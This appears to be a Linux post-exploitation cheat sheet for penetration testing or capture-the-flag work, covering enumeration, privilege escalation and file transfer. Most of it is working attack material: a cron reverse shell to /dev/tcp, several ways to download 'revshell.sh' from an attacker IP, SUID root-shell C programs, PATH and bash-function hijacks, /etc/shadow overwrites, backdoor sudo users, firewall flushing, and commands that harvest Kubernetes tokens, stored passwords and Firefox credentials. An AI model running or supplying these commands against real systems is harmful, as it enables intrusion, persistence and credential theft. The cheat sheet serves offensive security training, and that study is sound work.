Lateral Movement

01.1 OS Enumerations

## ------------------| OS details
cat /etc/*-release
cat /proc/version
lsb_release -a
hostnamectl

## ------------------| Domain joined ?
cat /etc/krb5.conf
kinit -k host/$(hostname -f)
realm list | grep active-directory
adcli testjoin

## ------------------| Kernel version
uname -a
uname --kernel-name --kernel-release --machine

## ------------------| SUDO version
sudo -V 2>/dev/null | grep "Sudo ver"

## ------------------| System stats / Disk info
(df -h || lsblk) 2>/dev/null

## ------------------| List all services
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null    

## ------------------| Mounted Files 
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "/ /|/null | proc proc |/dev/console"          

## ------------------| USBCreator ?
busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator

## ------------------| ASLR enabled?
cat /proc/sys/kernel/randomize_va_space 2>/dev/null

## ------------------| Virtual environment ?
systemd-detect-virt
grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor

## ------------------| Search socket files
find / -type s 2>/dev/null

## ------------------| Files with capabilities
getcap -r / 2>/dev/null

## ------------------| Set capabilities for file
sudo setcap cap_net_bind_service=+ep $(readlink -f /usr/bin/python3)

## ------------------| Inside lxc container?
cat /proc/1/environ

## ------------------| Inside docker?
find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null

## ------------------| Enumerate Docker Sockets
find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null      
curl -s --unix-socket <socket_path> http://localhost/info

## ------------------| Enumerate on Kubernetes 
### Kubernetes namespace
cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null      
### Kubernetes token
cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null     
### Kubernetes service account folder
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null     

01.2 User Enumerations

## ------------------| List user's groups
(id || (whoami && groups)) 2>/dev/null

## ------------------| List user's privileges
sudo -l

## ------------------| List all users
cat /etc/passwd | grep sh$ | awk -F: '{print $1}'

## ------------------| Superusers
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null

## ------------------| Users with console
grep "sh$" /etc/passwd 2>/dev/null | sort 

## ------------------| Login activity
### current logins
(w || who || finger || users) 2>/dev/null
### Last logins
(last -Faiw || last) 2>/dev/null | tail
lastlog 2>/dev/null | grep -v "Never"

## ------------------| Password policy
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null        

## ------------------| Change user password 
echo "h4rithd" | passwd --stdin <user>

## ------------------| Add new user to sudo group
useradd -p $(openssl passwd -1 h4rithd) -m newadmin --groups sudo  

## ------------------| Create user & group with given id
sudo groupadd -g 2017 dummy
sudo useradd dummy -u 2017 -g 2017 -s /bin/bash

01.3 Process Enumeration

## ------------------| List all current processes
ps -auxw | less -w
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | grep --color=always -z root        

## ------------------| List all current processes belongs to current user
ps -ef | grep $(whoami) | less -w

## ------------------| Binary processes permissions
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER "            

## ------------------| List all cron jobs
grep "CRON" /var/log/cron.log
cat /etc/crontab
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null 

## ------------------| List files in crontabs
ls -al /var/spool/cron/crontabs/

## ------------------| Create cronjob
* * * * * bash -c 'bash -i >& /dev/tcp/<IP>/<Port> 0>&1'

## ------------------| List all Systemd/Timers
watch -n 1 'systemctl list-timers'
systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" 
### You can get service path by 
find /etc | grep <ACTIVATES>

01.4 Network Enumeration

## ------------------| List IP address
ifconfig
ip -c -a -h addrbash
cat /proc/net/fib_trie  | grep '|--'

## ------------------| List arp table
arp -n
cat /proc/net/arp

## ------------------| Kill port connection
fuser -k 4444/tcp

## ------------------| List all listening ports / sockets 
netstat -anlp | grep LIST
(netstat -punta || ss -nltpu || netstat -anv) 2>/dev/null | grep -i listen

## ------------------| Get what service on port
ps -ef | grep <PID>

## ------------------| Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null           

## ------------------| Networks and neighbours
netstat -rn 2>/dev/null
(route || ip n || cat /proc/net/route) 2>/dev/null
(arp -e || arp -a || cat /proc/net/arp) 2>/dev/null

## ------------------| List local networks
ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\."     

## ------------------| Reads network addresses in /proc
cat /proc/net/tcp | awk '{print $1,$2,$3,$4}'
### 0: 00000000:0016 00000000:0000 0A
### |      |      |      |      |   |--> connection state
### |      |      |      |      |------> remote TCP port number
### |      |      |      |-------------> remote IPv4 address
### |      |      |--------------------> local TCP port number
### |      |---------------------------> local IPv4 address
### |----------------------------------> number of entry

## ------------------| Perl script to decode the address at /proc/net/tcp
### Usage prel proc.pl 00000000 0016
#!/usr/bin/perl
my $hexip=$ARGV[0];
my $hexport=$ARGV[1];
print "hex: $hexip\n";
my @ip = map hex($_), ( $hexip =~ m/../g );
my $ip = join('.',reverse(@ip));
my $port = hex($hexport);
print "IP: $ip  PORT: $port\n"; 

## ------------------| Create pcap file
sudo tcpdump -i any -w /tmp/capture.pcap -v
sudo tcpdump -i any -w /tmp/capture.pcap -v -s0
sudo tcpdump -i any -w /tmp/capture.pcap -v icmp
sudo tcpdump -i any -w /tmp/capture.pcap -v port 21
sudo tcpdump -i any -w /tmp/capture.pcap -v not port 22
sudo tcpdump -i any -w /tmp/capture.pcap -v -s0 -nn port 80

• Egres Busting Unveiled

## ------------------| Manual
### From my pc 
sudo tcpdump -i tun0 tcp[13]==2
### From compromise machine
nc -nzv -w 1 <MyIP> 1-1000

## ------------------| From TrustedSec Script
git clone https://github.com/trustedsec/egressbuster.git && cd egressbuster
### From my pc 
python3 egress_listener.py <your_local_ip> <interface_for_listener> 0.0.0.0/0 
### From compromise machine
python3 egressbuster.py <your_local_ip> 1-65536

• IPTables

## ------------------| IPTable
### Active rules [need access]
iptables -L

### Using file
ls /etc/iptables/

### for IPV4
cat ls /etc/iptables/rules.v4

### for IPV6
cat ls /etc/iptables/rules.v6

### Remove all rules
iptables-save > /dev/shm/fbashirewall.rules
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEP

### OpenBSD (pf)
find /etc/authpf
/etc/authpf/authpf.conf
/etc/authpf/authpf.rules

01.5 Files / Directories Enumerations

• Common

## ------------------| List files with advance options
ls -laSrh   # sort by size
ls -lacrh   # sort by change time
ls -laurh   # sort by access time
ls -laRh    # recursive ls
ls -latrh   # sort by date

## ------------------| List attribute
lsattr <DirectoryName>

## ------------------| Get file access control lists
getfacl <DirectoryName>

## ------------------| List files with directories 
find . -type f -ls 2>/dev/null

## ------------------| List files includeing sub directories 
find . -ls -type f 2>/dev/null

## ------------------| List all files with line count
find -type f -exec wc -l {} \; 2>/dev/null | sort -nr

## ------------------| What are in the history files?
cat ~/.*history | less

## ------------------| Last modified file
find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head

• SUID/SGID

## ------------------| List all SUID binary files
### Normal search
find / -perm -4000 -ls 2>/dev/null
### Sort with dates
find / -perm -4000 -printf "%T@\t%Tc %6k KiB %p\n" 2>/dev/null | sort -n | cut -f 2-   

## ------------------| List all SGID binary files
find / -perm -2000 -ls 2>/dev/null

• Find hardcode credentials.

export GREP_COLOR='1;37;41'
grep --color=always -RiE '(password|pwd|pass)' . --exclude=\*.{css,js,md} 2>/dev/null
grep --color=always -RiE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' *  2>/dev/null
grep --color=always -Rnw '/' -ie "PASSWORD\|PASSWD" –color=always 2>/dev/null

• Find with complex

## ------------------| List files belongs to current group / user
find / -user $(whoami) -ls 2>/dev/null
find / -group $(groups) -ls 2>/dev/null

## ------------------| If you are in multiple groups
for i in $(groups);do find / -group $i -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys';done

## ------------------| Above commands with filter
find / -user $(whoami) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'
find / -group $(groups) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'

## ------------------| Find world-writeable folders
find / -writable -type d -ls 2>/dev/null
find / -perm -222 -type d -ls 2>/dev/null
find / -perm -o w -type d -ls 2>/dev/null

## ------------------| Find world-executable folders
find / -perm -o x -type d -ls 2>/dev/null

## ------------------| Find readable files belonging to root and not world readable
find / -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "/sys\|/boot\|/var\|/etc/\|/run"  

## ------------------| List all files with permisions / owner [beautify]
find . -type f -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t

## ------------------| Find files that were modified in the last 10 days
find / -mtime 10 -ls 2>/dev/null

## ------------------| Find files that were accessed in the last 10 day
find / -atime 10 -ls 2>/dev/null

## ------------------| Find files changed within the last hour (60 minutes)
find / -cmin -60 -ls 2>/dev/null

## ------------------| Find files accesses within the last hour (60 minutes)
find / -amin -60 -ls 2>/dev/null 

## ------------------| Binary placed by user [Interesting] 
for i in /usr/sbin /usr/bin /sbin /bin; do ls -la --time-style=full $i | grep -v '000000000\|->' ; done    

## ------------------| Find modified files between dates.
find / -newermt "2021-11-21" ! -newermt "2021-12-21" -ls 2>/dev/null

## ------------------| Check files which contain password or username keyword
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null
grep --color=auto -rnw '/etc' -ie "USERNAME" --color=always 2> /dev/null

## ------------------| Check ssh-hostkey value
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_rsa_key.pub
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub

• Shared Object Injection

strace /path/to/file 2>&1 | grep -iE "open|access|no such file"

• List noexec mounts

mount | grep noexec

• PATH Environment variable

## ------------------| checking
strings /path/to/file
strace -v -f -e execve /path/to/file 2>&1 | grep exec
ltrace /path/to/file

## ------------------| Create vul file
int main() {
    setuid(0);
    system("/bin/bash -p");
}

## ------------------| Execute
PATH=.:$PATH /path/to/file

## ------------------| If bash < 4.2-048 we can inject to absolute path aswell.
strace -v -f -e execve /path/to/file 2>&1
function /path/to/service { /bin/bash -p; }
export -f /path/to/service
/path/to/file

• Read audit files

## ------------------| If you are in adm group
aureport
aureport --help
aureport --tty

cat /var/log/auth.* | grep "Failed password"
cat /var/log/auth.* | grep -oE "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq -c
cat /var/log/auth.* | grep "password" | grep -v 'Failed\|Invalid'
cat /var/log/auth.* | grep -i 'root\|user\|usern\|passw\|pass\|`$(whoami)`' | awk -F: '{print $5}' | sort | uniq -c 
cat /var/log/syslog* | grep -i 'root\|user\|`$(whoami)`\|cron' |awk -F: '{print $5}' | sort | uniq -c
awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' /var/log/auth.* | sort -k2 -rn     
awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(user in users){print user, users[user]}}' /var/log/auth.* | sort -k2 -rn      

## ------------------| Grep username and password
sed -n 's/.*username=\([^&]*\).*password=\([^&]*\).*/\1:\2/p' logfile.txt

• Recovery file

## ------------------| Using foremost 
sudo apt-get install foremost 
mkdir /tmp/recov
sudo foremost -q -v -i /dev/sda1 -t <jpeg,txt,..> -o /tmp/recov

#-v  - verbose mode. Logs all messages to screen
#-q  - enables quick mode. Search are performed on 512 byte boundaries.
#-t  - specify file type.  (-t jpeg,pdf ...) 
#-d  - turn on indirect block detection (for UNIX file-systems) 
#-i  - specify input file (default is stdin) 
#-o  - set output directory (defaults to output)
#-Q  - enables quiet mode. Suppress output messages. 

## ------------------| Using lsof [works if inode is still active]
lsof | grep -i deletedFile.txt

• Decrypt Mozilla Firefox protected passwords

git clone https://github.com/lclevy/firepwd.git

python firepwd.py -d /c/Users/..../Profiles/

01.6 Software / Package Enumerations

## ------------------| List all installed packages
dpkg -l

## ------------------| Search for compilers
dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"       

## ------------------| Mysql version
mysql --version 2>/dev/null

01.7 Active Directory

## ------------------| Check Domain joined ?
cat /etc/krb5.conf

## ------------------| Search credentials/tickets
find / -name *.keytab 2>/dev/null

## ------------------| Request a TGT
kinit <User>@<Domain> -k -t domain.keytab

## ------------------| Check current tickets
klist

## ------------------| Requesting CIFS ticket of Child Domain Controller
kvno cifs\/OPS-ChildDC

01.8 Other

• Create file with special chars

touch -- 'echo | hello'

• Change root password through replace /etc/shadow file.

## ------------------| Create password 
openssl passwd -6 -salt h4rithd h4rithd123
### -1 --> MD5
### -5 --> SHA256
### -6 --> SHA512
### also you can use it with out salt flag

### Replace the password in /etc/shadow (h4rithd123)
$6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0

sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow

## ------------------| one line : h4rithd123
sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow    

• Download file.

## ------------------| WGET
wget https://10.10.14.25/revshell.sh -O /tmp/revshell.sh

## ------------------| CURL
curl -o /tmp/revshell.sh https://10.10.14.25/revshell.sh

## ------------------| OpenSSL
### Create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem     
### Stand up server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/revshell.sh
### Download file
openssl s_client -connect 10.10.14.25:80 -quiet > revshell.sh

## ------------------| Bash (/dev/tcp)
### Connect to Target's Webserver
exec 3<>/dev/tcp/10.10.10.32/80
### HTTP GET Request
echo -e "GET /revshell.sh HTTP/1.1\n\n">&3
### Print the Response
cat <&3

## ------------------| PHP
### File_get_contents()
php -r '$file = file_get_contents("https://10.10.14.25/revshell.sh"); file_put_contents("revshell.sh",$file);'       
### Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://10.10.14.25/revshell.sh", "rb"); $flocal = fopen("revshell.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'      

## ------------------| Python
### Python2
import urllib
urllib.urlretrieve ("https://10.10.14.25/revshell.sh", "revshell.sh")
### Python3
import urllib.request
urllib.request.urlretrieve("https://10.10.14.25/revshell.sh", "revshell.sh")

## ------------------| Ruby
ruby -e 'require "net/http"; File.write("revshell.sh", Net::HTTP.get(URI.parse("https://10.10.14.25/revshell.sh")))'

## ------------------| Perl
perl -e 'use LWP::Simple; getstore("https://10.10.14.25/revshell.sh", "revshell.sh");'

• LUKS mount / unmount (Linux Unified Key Setup)

# ------------------| Mount
sudo cryptsetup luksOpen backup.img backup
sudo mount /dev/mapper/backup /mnt/
 
# ------------------| Unmount
sudo umount -l /mnt/
sudo cryptsetup luksClose backup 

• Is there any PAM-Wordle?

# ------------------| Find so file
find / 2>/dev/null | grep wordle
find /{usr,etc} -type f -printf "%T+ %p\n" 2>/dev/null | grep -v '000'| grep so$

# ------------------| Find words
strings <file>

02. Commands & Scripts

02.1 Commands

• Setup Linux machine as router (Forward OpenVpn traffic to windows machine)

# ------------------| On Linux machine
### Check ip forwording is enabled 
sudo sysctl -a | grep ip_forward 
## if the value is 1 you are good!! if not execute following command
sudo echo "1" > /proc/sys/net/ipv4/ip_forward
### IP Table rules
sudo iptables -A FORWARD -i tun0 -o eth0 -m state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s <eth0IP>/24 -o tun0 -j MASQUERADE

# ------------------| On Windows machine
rout add 10.10.10.0 mask 255.255.254.0 <linuxBox_eth0IP>
ping 10.10.10.2

• Grant to SUID to dash or vi

sudo chmod 4755 $(which dash)

sudo cp /bin/dash /tmp/dash
sudo chmod 4555 /tmp/dash
sudo chown root /tmp/dash

/tmp/dash -p

sudo chmod 4755 $(readlink $(which vi))

• Copy file via SSH

## ------------------| Syntax
scp <source> <destination>
# You can use /* to copy all

## ------------------| To copy a file from B to A while logged into B:
scp /path/to/file username@a:/path/to/destination

## ------------------| To copy a file from B to A while logged into A:
scp username@b:/path/to/file /path/to/destination

## ------------------| Alternates ---------------------
sudo apt-get install sshfs

## ------------------| Create an empty dir
mkdir /tmp/testdir 
### "link" or "mount" the two directories
sshfs [e-mail]:/remote/dir /tmp/testdir 
### "unlink" the dirs
fusermount -u /home/user/testdir
umount mountpoint
diskutil unmount mountpoint

02.2 Port Knocking

## ------------------| Files
ls /etc/init.d/ | grep knock

## ------------------| Using above file we can find the config file
/etc/default/knockd
/etc/knockd.conf

## ------------------| Config file look like this. to open port 22 we need to knock port 571, 290 and 991     
[openSSH]
 sequence = 571, 290, 911
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

## ------------------| Port Knocking using nmap
for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43 ; done  

02.3 Scripts

• Create SUID sudo

// gcc -o sroot sroot.c
int main(void)
{
   setuid(0);
   setgid(0);
   printf("\n-----| by h4rithd.com |-----\n\n");
   system("/bin/bash -p");
}

// chown root:root /tmp/sroot; chmod 4755 /tmp/sroot

// SUID = 4xxx filename
// SGID = 2xxx filename
// Both = 6xxx filename

// for i in {1..100}; do ls -al /tmp/sroot;date ;sleep .2; done
// watch -n 2 -d ls -l .

• Process Monitor

#!/bin/bash

IFS=$'\n' # Loop by line

old_process=$(ps -eo command)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
    sleep 1
    old_process=$new_process
done

# nano prcmon.sh
# chmod +x prcmon.sh; ./prcmon.sh

• List file for sleep 5

for i in {1..100}; do ls -al /tmp/sroot;date ;sleep 5; done

• Ping sweep

for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 

#!/bin/bash

ip=172.20.0

for i in $(seq 2 255);
do
    ping -c 1 -W 1 $ip.$i 1>/dev/null 2>&1
    if [[ $? -eq 0 ]];
    then
        echo "[+]  $ip.$i  - is Alive!"
    fi
done

• Scan live ports

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null       

#!/bin/bash

ip=127.0.0.1

for port in $(seq 1 65535);
do
    timeout .1 bash -c "echo > /dev/tcp/$ip/$port" &&
        echo "[+]  $ip : $port  - is Open!"
done
echo "==========[ Finished ]============"

02.4 Web servers

## ------------------| Python
python2 -m SimpleHTTPServer 8080
python3 -m http.server 8080

## ------------------| Ruby
ruby -run -ehttpd . -p8080

## ------------------| PHP
php -S 0.0.0.0:8080

## ------------------| Socat
socat TCP-LISTEN:8080,reuseaddr,fork

02.5 Sed Commands

## ------------------| Remove new line 
sed -z 's/\n//g' filename

## ------------------| Insert text to the 1st line of a file 
sed '1 i addthisword' filename

## ------------------| Delete first characher each line 
sed 's/^..//' filename

## ------------------| Delete last characher each line 
sed 's/.$//g' filename

## ------------------| Delete last line or footer line or trailer line
sed '$d' file

## ------------------| Delete particular line
sed '2d' file

## ------------------| Delete range of lines
sed '2,4d' file

## ------------------| Delete lines other than the first line or header line
sed '1!d' file

## ------------------| Delete lines other than last line or footer line
sed '$!d' file

## ------------------| Delete lines other than the specified range
sed '2,4!d' file

## ------------------| Delete first and last line
sed '1d;$d' file

## ------------------| Delete empty lines or blank lines
sed '/^$/d' file

## ------------------| Delete lines that begin with specified character
sed '/^u/d' file

## ------------------| Delete lines that end with specified character
sed '/x$/d' file

## ------------------| Delete lines that contain a pattern
sed '/debian/d' file